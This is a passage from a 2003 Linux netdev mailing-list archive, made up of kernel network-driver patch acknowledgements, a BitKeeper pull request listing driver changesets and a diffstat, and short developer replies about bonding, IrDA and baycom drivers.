Lines: 13 Em Sat, Sep 20, 2003 at 01:32:12PM +0200, Bart De Schuymer escreveu: > On Friday 19 September 2003 04:48, David S. Miller wrote: > > Don't use an alignment attribute, just put the member of > > the struct at the very beginning and use "unsigned int" > > at a time op+comparisons. > > > > How about that? > > Fine with me. Fixes the problem on parisc64, just tested, thanks. - Arnaldo From jgarzik@pobox.com Sat Sep 20 10:57:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 10:57:46 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KHvfFx007756 for ; Sat, 20 Sep 2003 10:57:42 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33036 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A0lzI-0001oM-Fa; Sat, 20 Sep 2003 18:57:40 +0100 Message-ID: <3F6C9507.4050307@pobox.com> Date: Sat, 20 Sep 2003 13:57:27 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: mzyngier@freesurf.fr CC: Andrew Morton , netdev@oss.sgi.com Subject: Re: [PATCH][2.6] depca update References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 102 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Sat Sep 20 10:58:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 10:58:13 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KHw8Fx007958 for ; Sat, 20 Sep 2003 10:58:09 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33037 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A0lzj-0001of-Hz; Sat, 20 Sep 2003 18:58:07 +0100 Message-ID: <3F6C9522.2060206@pobox.com> Date: Sat, 20 Sep 2003 13:57:54 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: [PATCH] replace sppp_of macro with inline References: <20030916165537.310229e6.shemminger@osdl.org> In-Reply-To: <20030916165537.310229e6.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 103 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Sat Sep 20 10:58:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 10:58:30 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KHwPFx008095 for ; Sat, 20 Sep 2003 10:58:26 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33038 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A0m00-0001ou-O7; Sat, 20 Sep 2003 18:58:24 +0100 Message-ID: <3F6C9534.9070306@pobox.com> Date: Sat, 20 Sep 2003 13:58:12 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: netdev@oss.sgi.com Subject: Re: [PATCH] janitor: remove (or add) unneeded includes (drivers/net/) References: <20030917151026.54292548.rddunlap@osdl.org> In-Reply-To: <20030917151026.54292548.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 104 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 55 Lines: 2 applied several one these. one of them didn't apply. From jgarzik@pobox.com Sat Sep 20 10:57:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 10:57:39 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KHvXFx007738 for ; Sat, 20 Sep 2003 10:57:34 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33035 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A0lz9-0001oL-90; Sat, 20 Sep 2003 18:57:31 +0100 Message-ID: <3F6C94FE.4040008@pobox.com> Date: Sat, 20 Sep 2003 13:57:18 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Felipe W Damasio CC: irda-users@lists.sourceforge.net, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] Unneeded memory barrier in net/irda code References: <3F676A46.2000304@terra.com.br> In-Reply-To: <3F676A46.2000304@terra.com.br> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 101 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Sat Sep 20 11:18:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 11:18:28 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KIIKFx009167 for ; Sat, 20 Sep 2003 11:18:21 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33046 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A0mJH-0001yq-Ij; Sat, 20 Sep 2003 19:18:19 +0100 Message-ID: <3F6C99DE.1080304@pobox.com> Date: Sat, 20 Sep 2003 14:18:06 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Amir Noam CC: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, shmulik.hen@intel.com Subject: Re: [PATCH 10/10] [bonding 2.6] Fix ipx_hdr compile error References: <200309111746.19979.amir.noam@intel.com> In-Reply-To: <200309111746.19979.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 105 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 203 Lines: 12 All patches in this series applied except patch2. patch2 looks OK, but did not apply cleanly. I suspect that Shmulik Hen's forward somehow garbled the patch. Please resend patch2 (again). Jeff From jgarzik@pobox.com Sat Sep 20 11:20:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 11:20:24 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KIKJFx009516 for ; Sat, 20 Sep 2003 11:20:20 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33048 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A0mLC-00020K-OQ; Sat, 20 Sep 2003 19:20:18 +0100 Message-ID: <3F6C9A56.3070506@pobox.com> Date: Sat, 20 Sep 2003 14:20:06 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Amir Noam CC: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH 1/3] [bonding 2.4] Get rid of MOD_*_USE_COUNT, and use C99 initializers References: <200309151200.19968.amir.noam@intel.com> In-Reply-To: <200309151200.19968.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 106 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 38 Lines: 3 all three patches applied to 2.4.x. From jgarzik@pobox.com Sat Sep 20 11:48:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 11:48:17 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KImCFx010014 for ; Sat, 20 Sep 2003 11:48:12 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33059 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A0mmB-0002CS-0A; Sat, 20 Sep 2003 19:48:11 +0100 Message-ID: <3F6CA0DE.9020303@pobox.com> Date: Sat, 20 Sep 2003 14:47:58 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Amir Noam CC: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH] [bonding] Convert /proc to seq_file References: <200309151411.08451.amir.noam@intel.com> In-Reply-To: <200309151411.08451.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 107 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 18 Lines: 3 applied to 2.4. From jgarzik@pobox.com Sat Sep 20 11:49:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 11:49:44 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KIneFx010258 for ; Sat, 20 Sep 2003 11:49:40 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33062 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A0mnb-0002EZ-J2; Sat, 20 Sep 2003 19:49:39 +0100 Message-ID: <3F6CA136.7070908@pobox.com> Date: Sat, 20 Sep 2003 14:49:26 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Amir Noam CC: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH] [bonding] Convert /proc to seq_file References: <200309151411.08451.amir.noam@intel.com> In-Reply-To: <200309151411.08451.amir.noam@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 108 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 18 Lines: 3 applied to 2.6. From jgarzik@pobox.com Sat Sep 20 12:01:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 12:01:37 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KJ1PFx010794 for ; Sat, 20 Sep 2003 12:01:26 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33074 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A0mye-0002Ju-9l; Sat, 20 Sep 2003 20:01:04 +0100 Message-ID: <3F6CA3E3.9060909@pobox.com> Date: Sat, 20 Sep 2003 15:00:51 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: Thomas Sailer , linux-hams@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] (1/4) Update baycom drivers for 2.6 References: <20030919133750.4053f72c.shemminger@osdl.org> In-Reply-To: <20030919133750.4053f72c.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 109 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 42 Lines: 3 hum. I seem to be missing patch 4/4... From jgarzik@pobox.com Sat Sep 20 12:11:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 12:11:45 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KJBcFx011234 for ; Sat, 20 Sep 2003 12:11:39 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33079 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A0n8n-0002TY-3F; Sat, 20 Sep 2003 20:11:33 +0100 Message-ID: <3F6CA658.6030806@pobox.com> Date: Sat, 20 Sep 2003 15:11:20 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: Jes Sorensen , netdev@oss.sgi.com Subject: Re: [PATCH] Road Runner HIPPI driver (rrunner) References: <20030912144208.2886e2b9.shemminger@osdl.org> <3F62437F.9080202@pobox.com> <20030912152506.693fe997.shemminger@osdl.org> In-Reply-To: <20030912152506.693fe997.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 110 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 470 Lines: 18 Stephen Hemminger wrote: > Okay, how about this.. > Applied. When resending patches, PLEASE include full description. "Okay, how about this" means I have to hunt for the original message -- probably in my Trash folder by that point -- and cut-n-paste the description, perhaps updating with whatever fixes were included in the updated patch. It's far easier just to drag the patch to my "to-be-applied" mbox, and then run a script on the entire mbox. Jeff From garzik@gtf.org Sat Sep 20 12:27:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 12:28:11 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KJRuFx014488 for ; Sat, 20 Sep 2003 12:27:57 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id D44696662; Sat, 20 Sep 2003 15:27:50 -0400 (EDT) Date: Sat, 20 Sep 2003 15:27:50 -0400 From: Jeff Garzik To: torvalds@osdl.org Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: [bk patches] 2.6.x net driver updates Message-ID: <20030920192750.GA27666@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 111 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 13412 Lines: 378 First queue push after return from Silly Valley. Linus, please do a bk pull bk://kernel.bkbits.net/jgarzik/net-drivers-2.5 Patch is also available at: ftp://ftp.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/2.6.0-test5-bk7-netdrvr1.patch.bz2 This will update the following files: drivers/net/irda/smc-ircc.c | 1258 ---------------------------------- drivers/net/irda/toshoboe.c | 957 ------------------------- Documentation/networking/bonding.txt | 4 drivers/net/3c501.c | 6 drivers/net/3c505.c | 12 drivers/net/3c515.c | 1 drivers/net/Space.c | 4 drivers/net/acenic.c | 3 drivers/net/bonding/bond_alb.c | 150 +++- drivers/net/bonding/bond_alb.h | 8 drivers/net/bonding/bond_main.c | 1202 ++++++++++++++++++++------------ drivers/net/bonding/bonding.h | 4 drivers/net/cs89x0.c | 1 drivers/net/depca.c | 944 ++++++++++++------------- drivers/net/e1000/e1000_main.c | 13 drivers/net/eepro.c | 6 drivers/net/ewrk3.c | 5 drivers/net/hamradio/baycom_par.c | 1 drivers/net/hamradio/baycom_ser_fdx.c | 1 drivers/net/hamradio/baycom_ser_hdx.c | 1 drivers/net/hamradio/hdlcdrv.c | 1 drivers/net/hamradio/scc.c | 208 +++-- drivers/net/hamradio/yam.c | 1 drivers/net/ibmlana.c | 1 drivers/net/irda/Kconfig | 24 drivers/net/irda/Makefile | 2 drivers/net/irda/ali-ircc.c | 84 -- drivers/net/irda/donauboe.c | 50 - drivers/net/irda/irda-usb.c | 44 - drivers/net/irda/nsc-ircc.c | 78 -- drivers/net/irda/sir_kthread.c | 4 drivers/net/irda/via-ircc.c | 92 -- drivers/net/irda/w83977af_ir.c | 54 - drivers/net/lance.c | 10 drivers/net/mace.c | 1 drivers/net/ne2.c | 1 drivers/net/ni5010.c | 5 drivers/net/ni52.c | 5 drivers/net/ni65.c | 1 drivers/net/ns83820.c | 10 drivers/net/pcmcia/com20020_cs.c | 41 - drivers/net/rcpci45.c | 4 drivers/net/rrunner.c | 17 drivers/net/rrunner.h | 1 drivers/net/sb1000.c | 1 drivers/net/sis900.c | 1 drivers/net/sk98lin/h/skdrv1st.h | 4 drivers/net/sk98lin/skge.c | 1 drivers/net/sk_mca.h | 2 drivers/net/skfp/h/targetos.h | 1 drivers/net/smc9194.c | 1 drivers/net/tokenring/lanstreamer.h | 2 drivers/net/tokenring/proteon.c | 2 drivers/net/tokenring/skisa.c | 2 drivers/net/tokenring/smctr.c | 1 drivers/net/tokenring/tms380tr.c | 1 drivers/net/wan/comx-hw-comx.c | 1 drivers/net/wan/comx-hw-locomx.c | 1 drivers/net/wan/comx-hw-mixcom.c | 1 drivers/net/wan/comx-hw-munich.c | 1 drivers/net/wan/comx-proto-fr.c | 1 drivers/net/wan/comx-proto-lapb.c | 1 drivers/net/wan/comx-proto-ppp.c | 1 drivers/net/wan/comx.c | 1 drivers/net/wan/cycx_x25.c | 1 drivers/net/wan/dlci.c | 1 drivers/net/wan/dscc4.c | 1 drivers/net/wan/lmc/lmc_ver.h | 2 drivers/net/wan/pc300_drv.c | 1 drivers/net/wan/pc300_tty.c | 1 drivers/net/wan/sbni.c | 20 drivers/net/wan/sdla_chdlc.c | 1 drivers/net/wan/sdla_fr.c | 1 drivers/net/wan/sdla_ft1.c | 1 drivers/net/wan/sdla_ppp.c | 1 drivers/net/wan/sdla_x25.c | 1 drivers/net/wan/sdladrv.c | 1 drivers/net/wan/sdlamain.c | 1 drivers/net/wan/sealevel.c | 157 ++-- drivers/net/wan/wanpipe_multppp.c | 1 drivers/net/wd.c | 5 drivers/net/wireless/airo.c | 11 drivers/net/wireless/arlan-proc.c | 3 drivers/net/wireless/arlan.c | 1 drivers/net/wireless/arlan.h | 1 drivers/net/wireless/strip.c | 1 include/net/syncppp.h | 7 87 files changed, 1799 insertions(+), 3769 deletions(-) through these ChangeSets: (03/09/20 1.1386) [PATCH] Road Runner HIPPI driver (rrunner) Small clean up, to use current APIs. (03/09/20 1.1385) [wireless airo] Fix MIC support with CryptoAPI (03/09/20 1.1384) [wireless airo] fix PCI probe (03/09/20 1.1383) [tokenring] fix breakage in proteon, skisa this one fixes both drivers. They have been broken since the reorganization in June. Unfortunately, my major build platform (alpha) had some issues with later 2.5.X kernels (cache problems causing all kind of funny behaviour), so i waited until these problems had been resolved by the alpha gurus :-/... In the mean time i also upgraded pine. I hope the patch corruption issue is resolved by now. (03/09/20 1.1382) [PATCH] hamradio/scc - Update hamradio/scc for 2.6.0-test5 - use seq_file for /proc - get rid of dev_get() - use alloc_netdev Don't have hardware, but can load/unload the module fine. (03/09/20 1.1381) [PATCH] [bonding] Convert /proc to seq_file This patch converts /proc/net/bondX/info into /proc/net/bonding/bondX using the seq_file interface. This is based on Stephen's recent patch, but slightly modified to work with the propagation patch set and with some locking changes to make it simpler. The patch applies both on 2.4 (after the sync set from earlier today) and on 2.6 (after the propagation set from 2003/11/9). Amir (03/09/20 1.1380) [PATCH] fix sbni.c compile with gcc 3.3 sbni.c in 2.6.0-test5 fails to compile with gcc 3.3 with the following error: <-- snip --> ... CC drivers/net/wan/sbni.o ... drivers/net/wan/sbni.c: In function `calc_crc32': drivers/net/wan/sbni.c:1568: error: asm-specifier for variable `_crc' conflicts with asm clobber list make[3]: *** [drivers/net/wan/sbni.o] Error 1 <-- snip --> Below is the patch by Margit Schubert-White to fix this issue (it is already in 2.4). cu Adrian (03/09/20 1.1379) [PATCH] e1000 bug Rick Lindsley wrote: > > since it's been out for a while you probably already know, but the patch > for e1000_main.c has a bug in it. Looks like it will fail at line 1550 if > compiled with NETIF_F_TSO defined. > So it will. I blame the gcc developers. 25-akpm/drivers/net/e1000/e1000_main.c | 13 +++++++++---- 1 files changed, 9 insertions(+), 4 deletions(-) (03/09/20 1.1378) [PATCH] [bonding 2.6] Fix ipx_hdr compile error (03/09/20 1.1377) [PATCH] [bonding 2.6] Add missing free_netdev() (03/09/20 1.1376) [PATCH] [bonding 2.6] Enhance netdev notification handling (03/09/20 1.1375) [PATCH] [bonding 2.6] Consolidate /proc code, add CHANGENAME handler (03/09/20 1.1374) [PATCH] [bonding 2.6] Add support for changing HW address in ALB/TLB modes (03/09/20 1.1373) [PATCH] [bonding 2.6] Add support for changing HW address and MTU (03/09/20 1.1372) [PATCH] [bonding 2.6] Decouple promiscuous handling from multicast mode setting (03/09/20 1.1371) [PATCH] [bonding 2.6] fix assign_current_slave (03/09/20 1.1370) [PATCH] [bonding 2.6] consolidate change_active operations (03/09/20 1.1369) [PATCH] update arcnet/pcmcia driver Redo of earlier patch to get rid of MOD_INC/DEC and use alloc_netdev. This is against 2.6.0-test5 bk latest. (03/09/20 1.1368) [PATCH] sealevel wan driver Update sealevel driver to match current net_device interface: - dynamically allocate netdevice and private data. - get rid of MOD_INC/DEC - if_ptr not used - bugfix: not all of board structure was being zeroed. Note: this driver still doesn't probe() correctly since it just assumes that if loaded the hardware is there! Since I don't have one of these boards... tested it by #ifdef'ing out all the bits that touch actual hardware. (03/09/20 1.1367) [IrDA] ali-ircc -- dev_alloc cleanout Convert ali-ircc driver to: - use alloc_net_dev not dev_alloc - allocate private data at same time - cleanup error unwinds - call free_netdev. Builds and loads, but don't have real hardware. (03/09/20 1.1366) [IrDA] via-ircc -- dev_alloc cleanout Convert via-ircc 2.6.0-test5 - use alloc_net_dev not dev_alloc - allocate private data at same time - cleanup error unwinds - call free_netdev. Builds and loads, but don't have real hardware. (03/09/20 1.1365) [IrDA] nsc-ircc -- dev_alloc cleanout Cleanup nsc-ircc driver for 2.6.0-test5 - replace dev_alloc with alloc_netdev - use private data allocated with alloc_netdev - error unwind cleanup (03/09/20 1.1364) [IrDA] donahoboe -- dev_alloc cleanout Fixes for donauboe for 2.6.0-test5 - replace dev_alloc with alloc_netdev - error unwind cleanup (03/09/20 1.1363) [IrDA] w83977af -- dev_alloc cleanout Yet another irda driver cleanup for 2.6.0-test5 - replace dev_alloc with alloc_netdev - use private data allocated with alloc_netdev - use free_netdev (03/09/20 1.1362) [IrDA] irda-usb -- dev_alloc cleanout Update irda-usb for 2.6.0-test5 - use alloc_netdev (but can't use dev->priv area cause that is allocated elsewhere). (03/09/20 1.1361) [PATCH] janitor: ns83820 error handling Subject: Re: [Kernel-janitors] [PATCH] insert missing free_irq and fix cleanup path From: Leann Ogasawara On Thu, 2003-09-04 at 13:17, Benjamin LaHaise wrote: > The if()s before free are redundant, turf them and it's good. (03/09/20 1.1360) [PATCH] janitor: insert a missing iounmap() From: Leann Ogasawara Subject: [Kernel-janitors] [PATCH] insert missing iounmap() Patch inserts a missing iounmap(). (03/09/20 1.1359) [PATCH] get rid of old IRDA drivers. According to Jean the toshoboe and old smc ircc drivers are no longer needed. This patch removes them from 2.6.0-test5 (03/09/20 1.1358) [netdrvr] use cpu_relax() in busy loop, or mdelay instead of busy loop Replace busy loop nop with cpu_relax(), and just use mdelay where it's better. (03/09/20 1.1357) [PATCH] janitor: remove (or add) unneeded includes (drivers/net/) From: Randy Hron (03/09/20 1.1356) [PATCH] janitor: remove unneeded includes (hamradio) From: Randy Hron (03/09/20 1.1355) [PATCH] janitor: remove (or add) unneeded includes (wireless) From: Randy Hron (03/09/20 1.1354) [PATCH] janitor: remove unneeded includes (skfp) From: Randy Hron (03/09/20 1.1353) [PATCH] janitor: remove (or add) unneeded includes From: Randy Hron (03/09/20 1.1352) [PATCH] janitor: remove unneeded includes (sk98lin) From: Randy Hron (03/09/20 1.1351) [PATCH] janitor: remove unneeded includes (tokenring) From: Randy Hron (03/09/20 1.1350) [PATCH] replace sppp_of macro with inline Replace macro with inline and get some type checking. (03/09/20 1.1349) [PATCH] Unneeded memory barrier in net/irda code (03/09/20 1.1348) [PATCH] depca update I finally found some time to hack the depca driver, in basically the same way I did with the de4x5 driver. The patch is quite big (shuffles a lot of code around, removes lots of global variables), mainly in order to use the driver model on every bus supported by this driver. I also removed the probing from Space.c, so the usual warning about device renumbering applies. Tested on alpha (DE422, EISA) and i386 (two DE201, ISA), built-in and modular. The MCA part is completly untested, since I lack the hardware (no, I do not own every single piece of junk hardware out there... ;-). From shemminger@osdl.org Sat Sep 20 14:48:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 14:48:37 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8KLmTFx029941 for ; Sat, 20 Sep 2003 14:48:30 -0700 Received: from mylinux.hemminger.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8KLmEU13674; Sat, 20 Sep 2003 14:48:14 -0700 Date: Sat, 20 Sep 2003 14:48:12 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: t.sailer@alumni.ethz.ch, linux-hams@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] (1/4) Update baycom drivers for 2.6 Message-Id: <20030920144812.0c587a12.shemminger@osdl.org> In-Reply-To: <3F6CA3E3.9060909@pobox.com> References: <20030919133750.4053f72c.shemminger@osdl.org> <3F6CA3E3.9060909@pobox.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 112 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 426 Lines: 14 On Sat, 20 Sep 2003 15:00:51 -0400 Jeff Garzik wrote: > hum. I seem to be missing patch 4/4... > patch 4 was replacing local random with get_random_bytes. Probably not a good idea since people seem to be paranoid about losing entropy ... A good future thing would be to make a kernel version of random() for all drivers that uses get_random_bytes as a seed, but doesn't drain the pool in normal use. From romieu@fr.zoreil.com Sat Sep 20 17:28:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Sep 2003 17:28:48 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8L0SbFx010766 for ; Sat, 20 Sep 2003 17:28:38 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h8L0J2Jo020117; Sun, 21 Sep 2003 02:19:02 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h8L0J1rr020116; Sun, 21 Sep 2003 02:19:01 +0200 Date: Sun, 21 Sep 2003 02:19:01 +0200 From: Francois Romieu To: "Randy.Dunlap" Cc: "David S. Miller" , netdev@oss.sgi.com Subject: [PATCH] dscc4 bogosity Message-ID: <20030921021901.A20090@electric-eye.fr.zoreil.com> References: <20030919113252.67949bc8.rddunlap@osdl.org> <20030919224428.A7296@electric-eye.fr.zoreil.com> <20030919134804.2c8967e4.rddunlap@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20030919134804.2c8967e4.rddunlap@osdl.org>; from rddunlap@osdl.org on Fri, Sep 19, 2003 at 01:48:04PM -0700 